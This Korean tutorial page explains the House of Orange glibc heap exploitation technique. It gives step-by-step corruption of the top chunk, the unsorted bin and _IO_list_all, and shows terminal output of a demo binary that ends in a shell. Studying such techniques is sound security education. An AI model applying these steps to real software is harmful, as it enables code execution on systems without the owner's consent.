...
Include Page 00.Notice 00.Notice
List
Table of Contents outline true exclude List
House of Orange
- House of Orange는 _int_malloc()이 메모리의 손상을 발견하여 에러 메시지를 출력하는 과정을 이용한 공격입니다.
- _int_malloc()는 요청된 메모리의 할당이 가능한 영역을 bins[]에서 찾지 못하면, 사용가능한 chunk가 있는지 unsorted bin에서 확인합니다.
- 그리고 Unsorted bin(bins[1])에 저장된 chunk의 크기를 확인하여, 메모리가 손상되었는지 확인합니다.
- 만약 해당 chunk가 손상되었다면 malloc_printerr()를 호출하여 에러 메시지를 출력합니다.
...
Panel | ||
---|---|---|
| ||
Example
해당 코드는 앞에서 예로 설명한 코드입니다.
malloc()에 크기가 0x400 - 16인 메모리의 할당을 요청합니다.
Top chunk의 size 값을 0xc01으로 덮어쓰고, 크기가 0x1000인 메모리의 할당을 요청합니다.
- 호출 할 함수의 첫번째 인자값을 Unsorted chunk의 prev_size에, 0x61을 size에, io_list_all의 주소 - 0x10을 bk에 저장합니다.
그리고 Unsorted chunk 뒤쪽에 가짜 _IO_list_all(_IO_FILE, _IO_jump_t)을 작성한 후 크기가 0x10인 메모리 할당을 요청합니다.
...
Code Block | ||
---|---|---|
| ||
lazenca0x0@ubuntu:~/Book/Heap$ ./house_of_orange p1 : 0x2216010 p2 : 0x2237010 *** Error in `./house_of_orange': malloc(): memory corruption: 0x00007fce93f2f520 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fce93be17e5] /lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7fce93bec13e] /lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7fce93bee184] ./house_of_orange[0x400786] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fce93b8a830] ./house_of_orange[0x400589] ======= Memory map: ======== 00400000-00401000 r-xp 00000000 08:01 695734 /home/lazenca0x0/Book/Heap/house_of_orange 00600000-00601000 r--p 00000000 08:01 695734 /home/lazenca0x0/Book/Heap/house_of_orange 00601000-00602000 rw-p 00001000 08:01 695734 /home/lazenca0x0/Book/Heap/house_of_orange 02216000-02259000 rw-p 00000000 00:00 0 [heap] 7fce8c000000-7fce8c021000 rw-p 00000000 00:00 0 7fce8c021000-7fce90000000 ---p 00000000 00:00 0 7fce93954000-7fce9396a000 r-xp 00000000 08:01 920001 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fce9396a000-7fce93b69000 ---p 00016000 08:01 920001 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fce93b69000-7fce93b6a000 rw-p 00015000 08:01 920001 /lib/x86_64-linux-gnu/libgcc_s.so.1 7fce93b6a000-7fce93d2a000 r-xp 00000000 08:01 919963 /lib/x86_64-linux-gnu/libc-2.23.so 7fce93d2a000-7fce93f2a000 ---p 001c0000 08:01 919963 /lib/x86_64-linux-gnu/libc-2.23.so 7fce93f2a000-7fce93f2e000 r--p 001c0000 08:01 919963 /lib/x86_64-linux-gnu/libc-2.23.so 7fce93f2e000-7fce93f30000 rw-p 001c4000 08:01 919963 /lib/x86_64-linux-gnu/libc-2.23.so 7fce93f30000-7fce93f34000 rw-p 00000000 00:00 0 7fce93f34000-7fce93f5a000 r-xp 00000000 08:01 919935 /lib/x86_64-linux-gnu/ld-2.23.so 7fce94140000-7fce94143000 rw-p 00000000 00:00 0 7fce94158000-7fce94159000 rw-p 00000000 00:00 0 7fce94159000-7fce9415a000 r--p 00025000 08:01 919935 /lib/x86_64-linux-gnu/ld-2.23.so 7fce9415a000-7fce9415b000 rw-p 00026000 08:01 919935 /lib/x86_64-linux-gnu/ld-2.23.so 7fce9415b000-7fce9415c000 rw-p 00000000 00:00 0 7ffc7a92f000-7ffc7a950000 rw-p 00000000 00:00 0 [stack] 7ffc7a99c000-7ffc7a99f000 r--p 00000000 00:00 0 [vvar] 7ffc7a99f000-7ffc7a9a1000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ |
Related information
- http://4ngelboy.blogspot.jp/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
- https://github.com/shellphish/how2heap/blob/master/house_of_orange.c
- http://www.hardtobelieve.me/index.php/2017/02/16/uba-and-fsop/
- http://uaf.io/exploitation/2017/09/03/TokyoWesterns-2017-Parrot.html
...